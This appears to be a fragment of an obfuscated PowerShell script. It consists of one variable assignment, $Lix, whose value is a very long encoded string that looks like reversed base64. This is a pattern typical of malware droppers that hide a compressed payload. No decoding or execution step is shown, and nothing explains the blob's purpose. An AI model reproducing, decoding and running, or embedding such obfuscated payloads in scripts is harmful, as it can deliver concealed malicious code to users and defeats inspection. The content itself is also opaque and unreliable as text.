$Lix = "==gUheKtB8/n7//vPPf//hZYSextej9ZQYq77cV1mzJYbqGZaryUnpXK+PgBe/SusmIY2cb1AHeZLejtFYszzEqC605aSMpWBuo5YOD4s+eg1RbS4R1wsLxwZnoaM2hp3cYavZW/fI9bq7OfnnSVUNjj/TLztqrX07BPwmwhez7VWkQdLbxvRQ0CFebY/GiI6z7soq2spRWfxHF+LB7wJuEHzPo2xj2erFAjqN6UETXgWRQ1swHpn2Gm3cRx13AQCgKXa0D11uT58Jq3sbmz7QfKcqAp4n+phENMy2makiYjADl2abYpMmvLcS6mmHe/IMISAr84W3kd1Yp040dD9x+rQpyMuz42NmI7VrWnO4M24QlV9JeDiIrDGdUr7uFh0cO4Por8kqpXTCyfwSytGUcpRIvtpxSDJamulk5RzlgmQae2nhimOmfp+0A8XOXWynESVtEhUuRZ90O6YUTdrG8N10rOa9KaoBuiIdILzq9NAYiShhhW+jcr9P1nwr0VHf5LMPF3mp7yY3w+eIM/Ovi1eVR92A4x6yh4ffepns79fJprUFHucM4Fxo6Uab+mBlguedHqdtOPRvrxA9u1YWCaTLuKteBcaIdIziH2NDRDZjip3jokYT5EobEcQKS9dYTb4WF6uN8RQWTpblHduo76k/h1V4F8CtHr62VZHcyQ4dmLRYHYvOQGNiBe2DdhmuoBwOf6YJG2MpgLjIEI+e4bDmFINGPMyM/JljvJhCDD7f1bInNDWy+3TnCbWr4/tS8+6D4wB5Yz6VnLsdV2zJRgd7pgYFLwpjBGjQK3iv7DLDT+KC9d5vLQCZTbC4Lu2V2eeRtB+p7tEYt987mQWM7KxW65GpYVd00KSHWmS8xXIZOM6DMuZee4SF4HKnd/HKCx3efTuExWsbTpOTExBi3XRqJL7xGnsg1MS+ShxniFycmVhQXMwlLlRIog5mS7Rgeb+Vsx3NeB2bxzlew6bGbkUh9T9lcIUyfeCo4c/EQElNi+geoZUzQwfg7jZpfygO49sj87NsidSvT30dgnrfFbK+5RsJpGwFiM8tgbcnbZfWYOx63yenXWWbBpDWCGSN7oPtGNk/cZMu9ztUvzBB5Ibb/6ZM/5X38W6zPieQhqygbi9ZxoO3j3HH981JrjR116mA4moQOFuH73daIZzbyGECyyFkTSZLvWSuI7+kR+VcZVckvkv596pUfZT5++aXjlPg2MvZ/15yX4PEhjKwDhiVuWqsBCgdne3DaGubskjuPW6+tHp4M0V1HxGWhLATDZf6CTxa6wnykwvNc8Abf0Brze/F7ov0u4sNTk0ZHEucUUi9uWS0A7kTaaQbTq7Oga+wjpvZf6lSJ4TYT7PZXA2aEJ8+u9O1yXcFIx14MIIwxDVpxogWQkeqn0gDUPpSW6VAHR5/qJo+PRL379ujsfoERSIljlabvhluZmGa0fX+e4l+KAPkASt+fYr193eR+vSq3+y7V7A8WlCLsXNuelw+28x75DPUmNkhP+Fo7ovJT0AfS1IYBZPKLLpxv+ViropZo80ZqJsEHwb1nC6xkCV/DT84SUVnb+swlJrYhZIrKwm3UPq+1lcddxa1XJmpx9b0R8dxDEq5WLcEWFTQ+b7mpT9PRHlnb/+Riyu/ryGh1GO7DjJjBKfWaLzrZucj6PfugeluJoMyxShBMP+8d1O4hoCQFfZg/nEAufO3avoqeuzDs1ShPRoTJhFuj889KT8bTzjaAOB2bXSU7KufHajddfmJQ7/Dgb3N5DXZX0XIjiQF77DCz9gtNQ2zXFc4Qh9AB43tn7d9zrfSm9++jBL2OD7kCGyCO7mA776yhZK2Q761l7tdopfCVGCh77rqofj/pw84qxRVcN4iEgXFQWLNXAIW3C8Z4LOFFPIuWYVDBdnu0mKv1pwtcAyBQZCG79PaUDe9A4UVcbtZc1QNda8XHrEkLE+gqC9mB16PKZfFcFFthrGuHqc+zBuT7Vl3XC7N2r8RBBzu+vkWRo/GytnXEzavsM1yZSTBcyQ5ulVM3T89EtWot0HTQIfMXRe1YmfM38PfqAtn11ZAuns6W70vAAjUubHblM8RKXndXwNNJmI5aSnP+8g/YaI7MSHTgeypJ23dSCjw+o4RvPbcxaZkt7DCxXFrAiIpam0HfTzROcSuc3MuezbOFtt6n9nDvTfl8SVQ19f51ZZUWuPqsRyAYBTQquT0wz08uNUQ5aJI2E+8DGwRKDFKzg592nZErzLeRRHyz6iTe5Tv5odSgU2atVMbiI/gEmatIN7//gxVL9odDcT63ZWbemY5sHQZ780H4nSWg0dZxRHslwGOVwuBgkP/WXDswfnz3CT5xcQqrOW6ANC/yPtzvDYdizHcVtiABCD44xjHEBpak7CaFBJyO4M0ZbSl+o5f8ejNQFIJhDOFmsRfMVbBCX5DS39gpf96b1hkXAgyYgXy1OAUbdd8KzneOFB8Hdmvt9E2GIRfHi+sd0GN8b22RnktN4uXV33BcXQvB7nwH3L26/NC6gkmn0KE5PkQyyMfjs38CRf26vwz3Aw7mlxYSnY4HeZYovEAo8+J5PEApv1eQVoNQqqIL8je+t27JgL3uvic6FiBOgZ2lzajSrM+wThRtMICKjSyE2uV/fgs50qmwtgVuixFFDld/oUnAuTNly07qSGNqQ/Oq1jGRisx9NURtU0Qw4b17MCK903blXlsLHB+42Xzq1JbSE9gt8vcaqIU+nksSy3j9m10mdkuNBvFEOFBfUGz++6VJUVUVtIIpA6rsgtCQWgRuxXp3bvPHV4EOpTGZRDoLmqjuB+HuJVxAhJcu18miIqz5O46i57QfdYVhFGcggKGBlmCNiUIaGt50uAzVqqckdhWKbIUql5BWOtQOQhkwNLiP0MkweLbBb+tICByjvNwWvuTwPfczncPw9OW4nQqutJZQyEsI5wcRmIp410CAaCFkspMZgELgl/LrBFaBl/CcgINhZlIv1VrsBeIN+SsZyDWnPpnhvJA4sWsqlVFrk4GMxwpepTKvmeXSBb78wwbKZ8VS4irszkQ9s0dsk0o1xIx3TtNoSm3Kb+gapwXDJvEX9TPS1F7Jeta6lBDoWbcqWVx0ndq0lkhOjzA+pXMeZOfZWHYlB8FH/8ryfRe4xNtuADHxsEQer6Wblx6tODPBZCIIrBixW8BSZNRlv8TpbC2VCjIu4IRa2bNLbrSDINzLcRSjuyFVqfPmIJbJmVsuAejlaL8lGug0pDAQQcP01S+hVBbfldW4HBL77I7ZvtIScDYDd2M1RgHwEj4Ic0eK3aoKmsKYmIkzRykqsPmPeo+QQxqJEMfqDZNx4GBaVqlfS4/6p3RPBaoKJ+kINllLZLf1kgT1O6HFwfODQppKI98PGQu1ZffOChaKv2pLjZDTpC7L3LUFsHtSF1XuelbyHK29c1DKz9rqQBYFp1pmBxIt1hdZovOEHAwDx5WpTI6iC9WSNlzp9tNW8Oh4vCDtV7wrl+L/WR4w0tqU4XoLL4bpMl5sKy9aCirlwdNJMlVTR7SYSfZnlKGc1vXI8Cwun7MZF/NDxkiFYDT5kBXMmfEgRMIfeXeuRFYtP0oPFVlZGkkqGXYUSfCHyqLt1FgzrQmLzvIhaaLwbT8qDHujhObEIxWZw0v441XEsA/hOML8elg9b3Qo7swk7dzhgBZv3t3fal4D1LCzG4W76v8MlRcJ5vQoeCauGWWay03Hyn6wLBuAzLUh7i56hQlZ6TNAblnWshR5CpFPXlsyFO5sGfZdON6SpP2ifdpHkZlYD+D2Sc8EVmdTWsfrICSCppmgNC9BCrvq51levOd/qlG8hEuwQzW6S7B5tKTHPbFPnvdV3xx7raZlu2/p6fc4MUvo9VMeCJMojbsCzO0k2ukwYwnM33noFN7RcN14clYfMgatIdD7ONH7oC/oJI4tA9KjymxJNQtSXUWlt660JthUuzfHgUSn896KASFEuoMF6W4dQXMo9HlniY1rw2ga5wSlhTlAcp+gg2QT4zFWhqeNPF/DU4m9I1dj35S6NcJ58mVGEyOfet6waWxIl7zgBdGfN/e/tLl4jq60ClwaE0oRfJsXgaCGJLD9/Vr+x4cn8ZiHbmWqlIOZ7EJ3SUHb6OrmJX11v6yfKPZisIM0LUwC0eSXV7lxn9aTnLyKuZcMbVhACNlVzz3VjbnB6D1Eiyree2bM/LEBc0lCRWaF8QyCWnozKhfYI5g6Aadx7T+5+fD5n14fS5ZllGG0LT7kDMZsCkZx4/m8WxvDKJgAQMVEFy1ZoIj1v69LcUZpCyzhQBuPXfsYmK2iCtrG0uDPBnVB+cGAWqJiH/r1nW3P0sga/a6DVNnAg7DvfdUEpar/pto5o2fTmL2P6CWDRIiRRRdTsrtVuLfzO/aAiVuWyKTd5TezXoJ8fcID6layL60xOB4cRcFmYh33w8Ghb11q/1q2OlHKIW6z7wmFabFYmzRsJSwBCK+K56Nl1sRFkXkcTQxN6KP0l99If/waZQqe4o55040L8v4AQvIFQh+70MeZHlgDJ420J9pTrkbTvoWXcSHYgZKgg58XThnOvyVbW2xdle7ZjAGD8hC4P9UYB8eaev7iS/Gmcip18gQ76mCzKM4YZhIqByf4b5mm/Vufk+GsgGNamOgQoi5ZviNED3z6qFGcym7U64loT9oJBl80rW4D9kyGQOxHHhMH/z+cCA1HheIWkhTthWL2++YCLyCrfMCRcCbHLKD8HJKc5N2P9iJKEjJ2ZTeDVah2hJtwXs7Dyg/3BhfYC74t0ApnLMNvHV8UfbziYWDDBOjh9vFAMAvJ7so7opD+11LS57B+ASgAmXKaQUoanYzt+QwihhjrTwxGeyog3konn0Ts/Z8YluzQ2G848CGXFwLLgvllTgAveimG7zkJ7z9hZ2/3ap2ewgB89kn4eBOt7iVg9zic9rF271v1iPjBaL7aDJZ7V+XQB0k2Ppwa2UfGkxxMjb9jKuki57ZzJMTm7VE1MJI9iHGHX4kMmn/xaEZME5cCVnpyf0OIzL6CamcpuWUEqqU+BSA3THcCYiZO0NycSS9U512f6xyYmr47kZuLmYY2RAVTLQd9Mi7Hx3MJzIwBmRAophk1sRE2AENDg1Xf0mIbSim77FTu9+Ty7dt94ubFviDtuBHz4PBayBWoYyYkYnJrZ3kETEDFh78avEh5WVQeoz2Vg25lBJRowh+OCgcg1Zz2VaA/ABVsx+McJLO2ZpcV+0TFwfZoEws8KOQm9RZX/lu939sMyhhfNJvfr2uf0lGjOstx6IdlN+ZPwVkNFXFvUrLE1BHsz11m5AHbtLU+W85KYPbsh7chYaHMM2LsTdaLDQFU+2bMx/BUJmXmLtutPQ5illhVnoVwRRLRokO2GMHF8QWuhD+hmjAKOrKpfjglTl02qLKQW3wIj3DeocMOVVnt0s+EZOl3H8yBoqPN0hXeXw22nA2TBGl4ERdfhNu1fZA6OFVP/CVWknswFHf99/ChsONSKUrwQr0z8YS5GQpIrOj+Pt4rYK63lpDrNlromvor9dOsqW7Z0Hy4gKNNL0iMSAYW33b5kD0HvpcqXuFfy0HjOfP0kCL7M6vNwyhgiwukYcbTb+LUl1pWDr5V3dZgK19dC9gwdcf5c3yEzhxCUIfK979ftCtItxZE/XY6l32JTXYnDgLQvEEtE3DPeV4UBzsRvPAuVGc+exm4DRpySVf4MFUR/u0KsDbJFOczZIhCT/L4Ttk2BfT4j7u4ZO4q9o7gYeEM23D4MDCFcmIpDZ+pTq8IJmAPbpuGQq+u+1w53R/au/ie3U5gqjIe6e+l80D2HSHjirgT5Vydh/6pHCt0a0kWQ2rfMgDNw7s+bR53e1MqDRV281953S+lFCJSBgDtJshcRAt/oJopHgMVk0cdAl+EUgP47pTPmZtmYsW7EZUK9CwcMOvbbp8DdAcGNx+rlGltkATqOmrxoFn/MEb/UFlDP08Gb2GZaxj6cpDXanUYkfkBUtyr8WACPMj6c40KEcyn6VYG3wn5soAOuop6ezO+PxGT17PWjnrDrXd+YQNMeQO8XgBGcPWj4mrcMgIFqSuUQC8zJxB5FGP0AuU0e8ua6fM7UH0ZXM5B3pDam4JoRVYjbTRRVfMD4uo6FGj+y6408BBmnfscmkvr43PorpUvXOVJlaev0FBZvAVxPN0sUMiuCJ6HiabQrt/YGIDFCq/jPJgwHcEstFdRg28SWpR2H+9d2U15Tgf5crjyTUnsytTJ9oslKgEgcM0Jef9XX1msIYkmCT+yHM6kIVL2745ZllHw2CKO/4f1ZmrePX1O1JrWsy7B5m477ku57kjQIl5PfvxuRJ1zmxFoOfsC+4Udn/WRS9TeBOleGteKf34drnXuRb5Cu7EqRmzTXSAskLpnQpQq/xR3wF6lMfbxv1vQPwZgVaNQ081usPNiMJ250L4b5lc2uNeln+FOzsG13fSW3kWXKEbNdJLEGxEWJMpWzMmPbzrNBC0BXgSSAWGnhCtN2ZmbBO0k7xmqUNK5+f+sXKpV+bG8FNIoiecIXByXzs6xJKZahRWi6rQAPnIa3a0L5O/eHZW+piUatJjXvMhNTOMrGy9JxrOfqsQ+h21sP6oelwc6ESoYgkbeEi3ovoEycRiRyUxK95xacKfGPkKs9Cu8wsXvUafgXHy2o2cQtvGAXNZcHVRUAY01PWjD8im8NvFPO3R9NmGLVL/9X9Sgj2ZmTVKxTf/ZOtpi2rJnady/BOa8na7PG0U4eO+7x3kMz2+rnx8VDpd9ByYTH5mHnZ9W4ztbAU0KQzvKrC2FUFzvkl3TCvQhyoi8DR9B5paTbsVG3+TUah2Bv7zvY/ime+d9VnfeYPXkrEZikVvng1S6HN/xmya75FCdQm+uS81hqrIXewIbsFMAt8NgoFAGQm8OF8RFOubhESDarYWt83c62kvvU+j+I21s58k+s36KCak+b9buGrWnFi0uqCbcqvmYqKBy2pmaQm3tJv99US3pIH954iVe8mFE6k2iZGs7FYj64IJ1mLUPw0zFSKwT/9bP+tx8Gan0Gm3uiAnVFqV2vF64OFsBAq9P43JGarzG/cv8faFtLHlVRyQwaSYDnSpewgjTUw7FwM3RUrLwWC/RcimKng241/uAUxIlAIyvZflSSbo/G30ZtHuqCyKwMesSDuU+y380uo050c7axqfX9ynxruSPdQaav/QGSL2fi+V8dEPCl+vA3s0tC/i4pYnvYG8kqzT0tTQXuHiZ+GT4Q4Nfl61UK/sp/jWfjVeDD64MPX/l4dFzmmpNZcxqSke0gC1oWfmAWupQgFfdsi7KsxdT3DUPSMPiM4I5Z9c4Q1TUKgRTECqYG7TaFC1lQ54m1LqF1aNcaodN4z1LZTq8NiiWubd+THDVkVvjPDpj/e5Yw6/I4Ij6uMv43XCzJgqA6KkmftLE3umilRNU9/uxq4lFiA1I07SlvPDbIwS37vReiwwWURVcPc+5iaHPSZcJaHaxiT3F7yMldfoZEAPHNw0PSgkAy+eO2EVmrJ6c6xbhDBwWmV1fXlH58t6Qt+r8yiGmIitS0NLZRrAh6662Zn61OOgSKyhI8VLPmRecOBxwTFaa74wAHUWZOjhe4/UzrOHnZj56V/A8Io8Jr4LX9mswP1o3kMufNJDxNojE6HjUZjL9Ogo/U7r7jH4K17LeWclXCC2r7SEfikVQLiM2W1JEF1zNsnIrlOZAUENSqDZ1lXSfiFYGl0HERwq+XMX8fx2IOxdp9FKz06kG3Of6aYLaX9ywovDQlf+HNMNBNqPk52UlXOZqKORqxpwJLj4npfRKwnZz/uLaUCaLDxLoh+CEBb9fhSHExce6F6iNpm6mtWw22SPeiJmWWwM98i3mXZxGbTQIQh1pULL+aKoAf74y8GFWhNrNHbNvFlPSahSpxlI8Ob15zYUq1DNsXafJRReg9LPVLd11w490qhI44qVNp7Uwwgt1TcmuzONvaT6gBoEDJU2mO6KkJvJSl6paLraPtRwQ6hLr/q+sz081aGk9LXt5dT661MpDxOQqJ8h9T1B9ifYMFEI5RzyB+/r0N1DtQMeAZokb4OL0KAAYW05pCyYmhgDIpeZyWn2uY5yMDSgdh47TPoWuo5ALzAgkibcdgwFcrHLhh6l765ba+PIRnJWb7k1IITjHetr2ECJh5NCzMMGw3VKFUWteV+Jjm8PReCpj5m6r37sJ9/4bW9yGBtbs7D4Jbi9pU5HhykFBLLIwljyRlB3HkoP5JUdcMnCp8ZdMUtBsde3Xjpg8GjUYICndw31CbzyfXE3Q6nzAGhXSKuWVACpJTDHe+VWkgPMaah0KCgAcMeIcwdBJtF7UZnQw5qpoKm5Me9k2zi2QiD3kg4/T3Py7sAYrDHWsyVU1ieZb7JNKaLzERTOV6kdYnP0kdzN+M/47JuTFYIBDb4XKAMxiD3N82sjRdNnt5AwkB4/eYrRznm7cCxfVEUMjxPFgAaEZJAU8T4KcavY4grk3M9J5k982jTglB9JZNoG8F8sc8as/MSv/0Obnz4whNkFxh9H7mUn3ZjVejK0wJHpkhYV7TvvZY553COVC9V+1lGcF6Yu80l8Tbe3esLM/9cvIao50lrWqcEDT9ZacF1UGtmOSq91Q72C5XfCef7foyyeFBDhAq/Nkj/yLW4Hx7cGO+w/vk7uIJMZLtKdtiiDCCQ3oslIU1L+gluTkBoI9lH5HlkMVp1Rq3yIkti2Zk35ix0AByyvpLbZz6aZfGc/mSKphOy/x3DKANYiXNHei7bnI/rZU6JdiJK2cPfoVZbFJtvS4758U5kenA6BkiWzOZRWX345u+4DyWlxhx4pISqTgsMQEjGCDtZ37UGY+PM2eF1WQV4XZkrWYN+a7/6OUc2v+2GqqHhxM40c8+Mlf4iBeo/hjDXrmN0tjsjTlX4Fw6Ro/Y8XHtoRbt8P8pMwwswDHHFIgrCU0QPEQAcX+mafvkgfhq5P94MdE8K8Etx1uEGofk5xm7IvgSTb+/Gy2XgmYBrj4Qt2v8ZFG18JyhYADE8d+I50SdVnRIaya/PNTpKrWL0KS/2xYt3BVunmN2wM9CNiD0wbsDL5rlUaCCv+zBR+c7KOZNiiSeNzeK+VMBSClpFPVwPyneOTDj5mBQPDbFS3vr/CM6lcTbRh1/CI8kP+FXrssFvrurFVge7B7KWAnpgNhlvuNwCbPND5QOtPuSYK3dyIhICpdclnwa96p1/fwrizbxYwpRnz0C6SGON2ELXCOWpUbTYt2dMsjYXcYwFa41MEZ9hJdbaXysHBbKwK2czKC+NpH31DySjxsVFzJQqlihYM6mKX50IedGhS17mc2MN6SmZv8qzJwHwiLddI/Jz+WNk5loI6DVDr05lyhHzW4Fc6KvqSdrZ3eQ6F3fT8PNUG02i6wjQYkUT1nBJbYL2B06muJvO9i2Zy85pm7BQ3pyR31JzaLgNq6i3btXrL6jeTv0JmPOHroKZD0bvwpSjpul6sHbntFNHigF+x0YTM8sp+8jjnpYTk/AAM6cyNviwM+LrrHL+MJc2RwGeICjozYffEAHSeAwygHaARersQlTKdcm4S/md7viMg0QoGfVvr/Z8zFtA7SV4LTuZ5T6C3TGIcSACPnMVRoFM4Qvj2RjWdJAL4/hcVoEwqZCYMGM3tL0WMYZf7DmsOFQptX54kMHdUqZ95ATGgkuRgbvyVZ3ZhYOiIsmNbXA4e9X3oaeLz53RmEhQV2po1kFR19ZWk/ZfiQ9fAzKqwoWVVyCkDvhPiamMHnzLjN0YSR7c0WuvkaoCJQqz5bV2g1fJ9uHOdKtDKdqV+ljWdzI/dC76lYkD2+75IjmWW8I1boB/1bhKdx72q68/Cqt6r8MWFIDTI2eE/XSnL0WseehNMYQ7Bv1hzkkgAXZ9ZvKnmNOJONwGPncTRuLvuWZFCmPvRspbLBW/puDigDch/Ko5X4zTOC5F80PiJcw4jjhlnoOZCER248ptBtOtp32SaP2ekyT8TX+C6qqaWKGTIJknfzp7oxqlcfyyC7KDJXo4MUVMRjE4UGNqcMAKezN6LRRobD7zobWgGCb/choSWHc5IY4Z5gfUVPbElBOqya7srDg4uQwyGU1RbmqHGc6RwwHrFCA55jAIEbmxbr2rk91ZPw8EsS4W/fKztKbe+ixIpueintCmAMqm+pDXQ8bTeNEdaIUpvP3ltUSDG+8Wge3bCvJtvVyeAH232mwI3exlyqm0nEETNLZrJn94mNQF08hW/GM1Tca4pP9lc83NyL+tNFLP6HyN5wGVVmmaXP/dS4BbzzqgOrRUwX7A6ysd51RjAkcXUny1EtcVcFz+ZiB+gRBGCqJUjTFuOfmT0dSK31bnKeVB9M4hFK5rv2Nxry94E6theWY6EH/HUq9/rr1L1Sj2g8rFhGLaol6GizJiTbLFOrrxMAIyMrrM1ANUSizLc6oyRo2ZGBWXg55JBfO7R5h0rE9CYS3bDX5xLn/D9SHSdsBqAV79+0e+lWPuIM3AhMJ9o3H6NvHcPwr9NRZpxGKFLKhA7bWWV8SwugPKVdb21RkeRoVQNEFgfOJi9RmaPRHUWvxcDDFzeCz553XWNE5WuVs5iRbZrzZhHvd33uMGbBfQ6yvYl6/CQSGp7SgPUNmD5Z30uY8+Wzh4MZR5/9VyMErcIoJ8x4vlJX2SEEPnFLN++rvyd6GPDiBL5yAqBfrQH2n8U68LVQSnhIcewvO8n7lgWuTQ/Nmmjb39dbHKJF7sQkfxMOccm72MUQzKdEImbRtmKsDb5mzx2wfNVn0hCeey5WgAM3GCYbNoHu7CyAIEdcYTGI8NV0Z6meVn5xn9JarZIwTBdrvsE8Mv6dEaiJbv0z3LAxXrBo1SuPhjJu9Bx5NIKaQRrEeyJEEEuH0/5NSpQ520cJ50YlN0fRUTXC93PNKUVzduNoZJjHxGE7p8FIdFsVG83Uiy6jrpdFfYrlCxz1q2SGH+F/L4tg+F7R8iutWByAZqSerq61NjNHV4xDlXKhg/a2Po5lzsI6eiziT7Bsi7hKphcJQLWTnVUP+qMyt0WtX1UwgcXIAN57iD69rVG9k5y4DZd3xuIQqy0bOnmlg/YA8jKGacxpVRN5dNfBijqHtu7Q9C4Ea1dnAvgfgticYdBijoBXhASoVhwthELBfzH0sqYHh6upmZlrrOuMP3OLXpLXcuWMMEcE93e3eUZxk7NjQB2XNtHwuthr4vmaG+9oT5bi1LiZNqbI2zx1DFLy5wHnxrSs2R3IeTaNSpw0utTcpylwhOwDtT2SzLCCM0iWpbdXtP4VfC6JT8CMLYGlYQtqdZ4hriFFSY0LxsohO8vA1qROxurVkU/FwyPrhRnCsudHlF58zsWXzUyIkCNwWM8k0baeHFqW03ov4DLdgPuErWc+rnSL9oGe8ARFjTwVIDcS6h0Bk5GYvUD6LVm9UXvb/IoKpI0HZqd/ixQX8amAojAeu1+MB39R8IjwzTDWpyDXXZcvGo5JKQ6dZiDUQg3gVBZvxg9Vfx6aL9w2mymRZ5ZpyWzT+6Cp3DV5G8hnSRa5DiNqfEmJDXJt4Gd6jTmY1Il/iW1bNy7TXU/4BicHB/g8W3WhU5tCH5PwyPUbHLayz39sk5E/STyjUvcy7sXVC5dT1EUurMngEYkJpsFm064lhPBM+i+FXYz4ZIfUBzfE1kpSISDSsTMj0M3keU+hPvyUS6Nqnn4VIJkR38yvfLaOpFNCxDnIkJ/y6ze/N0PQhhcWDWgoi1Tow5LbKNuoZcipI8rTJEVMv56oqsO+pItJsk47DgcD8fZjM9keP3QlYOIsv1BHWuQCg2rf8k3nhuiPFEqQsLw5EzYhiyiTf6WaJUgmfPOO6h5p6CFYf8V6K1OuYewy9GgxreR6uu+53aisfzbNbaMBMVmZf2Z1ap3jq9tCg4osofUVHKz0oNH+olPbZokxHoI2LLSJkRCogrtXOGW6PUgBvKuNVdICIkMI/OqEygnCLndN5vzevpeL0DpN3cppCui0E7XAgqkwwdxLnabu1eTHS2bYbPlwzVp3xurMFkqnEFbN6Poga2ajP9D4NOgI1kOtsZGx8BbxDrGhkBRCSKq6tZxrsMZYcvuMkUWCRH9rSgRs7CMEWxkcEVmEhFBxAYZp+98mK1g/fZN0Tyc8Jzc/Jjh3r4FOOLVXNcusycoC9TzEAeB5d6+8upTUrM3reNtxBWveacOaydQtCtaU/a6DnoPOx1cCiA463tRnCL3GUnLk7ZxrTA5Rag8F0WCO8MxGJcb5zmYHCaVqdIv6Mcqsey2ZqRoR4rgZ8euPMdrVF3pnR3kbpEhyMLbwKuwSikagcBOSEaXaeaYwfisbAl9GRMyiu0JBlbactx8W65+W6rstyt17kwDOMBBKpKTQtXegPpQyu1g8szF1QD5MwqzaW/4g87ODeM68If+Lchrnk6t3tgSSioOyHnNZokRNVob7wGcP0Osnv9QlQMt90f7oBJNwSrwV12ntDpDejD6ib1sJ3aMhHOd7Fxm+TDUFOxMWZsV8u3hqt4Y345JS8B/GEHD0zNfPmVSu7LHj8HeJH0rGzSceharCDxK1xvryQymQvg0Z7u0ihzcRqViYn4+kYdFzGylJVHc6+gVLcHVZy8A3JLYTb0WJ9acdY/HQc/NE8LeKURL8LaH9BIjvzfawZfUh6AJjCs/NKdaEdu8u1L1IeVFQNKvIBkn0wZM7dPqznZGl3tlyCq09RmlJy5mK6vqgqoZRPwJgExxt2OlbUZ/NPoEOuu/KH9CmLi7gYUa7ZVKxKPg3C+K/PWvQcqwxZp4xXN5UOgyvmF453xHRsM9zBFRRiuVRu1IINRpOSxEawgEPEU09ceROIkktd1QVgc1e0Vr8A0MialPEXqonj7N5mhilIkP66PAJo3TeptYlY+XBfvB1VLc03L1If2IVYMSy3jPljYwImqGii2U3hznxEbdz5dRTzKiW/SLfiqFHZOSrac16iyst7X0eW5vBbMGI4HTMnQUS9CPYwd4VshFFVtzWrS+d738jZt/micSQlln+BbG1nI/ASfYa/wTntjJ7o8lMaOc7m0n2d1Z/wnVO4CQSVTLeeVu+ckK9SEgLB7lRogLIJbhM7ipoQKcIJ1Qt1FtHVEbvOVfXT6mYkByw5buziaba5N3HNoh0xkTacc6vluW8HsbfKslqvK8PtUASUlr4yQ22I9jOAQDZCVfYj6AA3ZBTB4MMJavdjgAiNkppDEM/UJWcjnkag8JTVOgxSQLTRlH6nH2ccQ3dggrUXHIC3dABE3tFT6QNlXDJEf5Y13ioSxBf2CLBFiCehC0WoVpz5XvftZQjYyjQwaJawzWuM6em4R7B3HKtP8Nl5UC1VEGr9sz2Lf6mTnjohJ+gGw+Xh9jaXp81STP9nqx02Rp3uaTaoAUk8lUv+zv5GKnBcmstFH6kM0PvzaPwtoVKBXhI47YfNQ/WZeYvZtM/aSFfjt68iaK6t3z32xIbty911rV2PFwBai3Zr3yr7K9aFIck5FoeLlSqTrn0L3wBVW9R4ByjPsyr4cy1YdEf6PkgpnPOf/pGzj0+X5YCzHy3hTSR+nBRwzQZrpkF7Iq8e58ln9MTCOscrwDzuXRf/ipHKZnDCoInPYCBcpMIFWnVetX3vbX1SxIyoO98KkGqRNsu2mRGn8IKhiIkvAQUqaZvG77LYFnmeL9dhgzTjsBMkH4QXgY8oQMNSsb0go+eszh8YLmuaVSK/guVNw/3J+OVvRVWY+HrjdxBIbpd++f6GXfU7adMhH+JnK62u6WcEjN/TXrM/hb+8QS7DnE0qbXm1ZAD64yPwI/FjsUyiQy0Z3gpeZIgly1DMF/5Uh8ht/2JmmgjaryqpOp5o1Tf/aUGG/QiqIlg2oXIOri5613YnSMg5Bbf07ZhYspLDs57RKjx0txviEFAXWBbRnwoJYaNp2hSssqsR+sFxrchsMuHgdOs3IgGv0gJXHDAcCx9tKHhv1dptB7gpYDsWnn+LAE51m0sy/KnX6gbU/VeFwCh1ynSsGMd85ce8fPFKWrs5zq+K1/BwjZk9xp88khhXbWD+Ys14x6M19dD70mtizdJVnAvXMfPWPNsc+9Na+mZB2+0+0hkLuoFwFYFx+KYtoKBjDTuKFKVdJ2ny0vUwerNMNoC5Y89vxZVS20Hiuh6OxF7vXQgD5qtg6LctWibLXmi6E0W5vEcQf/y1HfT8/0tLtnQQgkPicS+W03WVvwd1K4YGqa0AOlg6zcPyWSyym3eZ3mp5NPgYB3mdYb0u4shLtLe3lia5aAXGStUBomcbDeHKdy7WkEuKs2gKRf+L5s2497D6vWwMZ41xL+YvaSAJnmNit7eChviuF3/QIIEhln+SIXe22EF2srtu6G+dOafEEA5NxWTzcZl5YvJiw8vyYD28JwguC/xb5T2/V8q1vp1731N1V6LJFKmx3+u8HROQevNEhVjvdcF7EfuWR1HlO5J/votA+bwiZxpgLrEwIV86o5vRSZrzD2BnbKi5hd1opuQuhuegPoWP8J7EMqAWH03HanQVu3Mt0DibFdk7WFSoLAuKdunAr0wx9hHzJPnexZU6zjKdW3PMU8WHF45evn1TIOGeP6MQjRVGU5503UNz+2pBTfhf4hMR2qOKyD2U2GURaQM1emiuce5z2WWa7Tf0IYCA4KRzBLxDxD4c2PJ/P8jyA+sbUoPCtW1qeGTvYy9z1tTP624GTVNma69441A8B7muX9RhlVv+WAJrGbnFke/kPeXp8hZoF5Or7kT0WBdSebMDkZ9tJkdszANK7ROhu7NSTOJE9bTOFRuGBeJ9Gj/Pt6/fv/f5AK+J+GIeOsU0GmVH3KkK9EV5QX9KE14RVYZ7zj7Bty44COQw0AqqsvpqOa47IyfhoBsxn3FKO1WgzIvjRxMq8NUdQOor7mJQAA11hmxFKKAa3J8JsHsBq4WFfpHgqkEPBLRq22zXN7fPPDYdRJ09ohZggnslnIhv3gebc9BRincVtsZiZ1GPfx8T1xhO19TIKewdhsdL+D99F7Qy3xUe3Cp7CUEIUgXRyp1aXNIASu0BY6bOqLpFxvV7lbkQxd5GG312nURKuaH+nvWAHK54C85KQl1ZqT43di/VqubI3KZB4LPUy18g3fr5pifvanMcT+uvG8wgOyAOmjj37pFx4XpDEXpZOWV0EFO9uA1ufz9vgj/OjBZlz46Pr5JUQjnz/64si+NdCxFI+4RL+dovblRrZ3zMHnBGFDZ/4MvwOMfoPnc4OKE1CFA3q7dHyR5jiRr4pKtii7SW0iIjw5WxqTiPy1ryUO9YCzt1FbXEhOUQ+mEQymR24cP7eaA7viZvJ8nCWx10gOEd3FyZUFIUYEw7moFNTltbALLW+Dk8EkkSfiO1+CDca8xEWRNpOnbygd43AUhRFtUcjDaP9f+u9sSJg9WO0uz4y3On9fvalFcv6uGpJdDeoWZ7DMV9pvhhqtEDG9BKrN9Xw6tA9DSVPRa8cqnygxZIdpbS0iqr8qQ3REhwiH/CYWT6jWXlwbaVVx8YFtuYSVLpl60RVRih1TFPKo6apykzH3HD+rlBhf20ilDd6ZjKM0SBX8mIPz+t+OPZEfecXTMyFSZAjF+1khueKxyzi84epDSJ3ZxKQwjTwUzmHXbcz6cfPYdyuD0B0sbofFLGXbNEwv9MiYty5vaW3aKhj4PcyN5UFhNgn1GL2MbDageAru4ysmp/Xp4AcqfQgqpuvbM+j0oQvSQ6310a4Vvg2gLnZt1XbyANy5K1AO6TmEpY0Bq3bPzCdZutsNoa3YbvUhsDzZcnf5o+H3FLgzjBI7HKqzxpS51GML+mzXHcH1FjxU2VJgAR